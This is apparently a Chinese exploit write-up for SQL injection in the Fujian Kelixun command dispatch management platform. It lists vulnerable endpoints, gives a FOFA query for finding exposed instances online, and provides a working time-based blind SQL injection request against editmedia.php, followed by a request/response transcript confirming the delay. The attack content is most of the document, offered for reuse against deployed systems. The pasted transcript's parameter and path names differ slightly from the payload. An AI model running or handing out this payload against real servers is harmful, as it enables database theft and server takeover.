

F2-11福建科立讯通信-指挥调度管理平台-SQL

漏洞描述:

福建科立讯通信指挥调度管理平台 down_file.php、pwd_update.php、editmedia.php、get_extension_yl.php、get_extension_yl.php等接口处存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本:

福建科立讯通信调度平台 <= 20240318

网站图片:



网络测绘:

fofa语法:

FOFA: body="指挥调度管理平台"

360quake语法:

Hunter 语法:

漏洞复现:

payload:

```
GET /api/client/editmedia.php?enterprise_uid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5))))JpVs%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
```

效果图:

延时5秒

Request		Responses	
1	GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))3PVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1	1	HTTP/
2	Host: 192.168.20.20	2	Date:
3	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0	3	Server:
4	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8	4	Set-C
5	Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2	5	Expiri
6	Accept-Encoding: gzip, deflate, br	6	Cache:
7	Connection: close	7	Pragm
		8	Conne
		9	Conte
		10	Conte
		11	
		12	{"code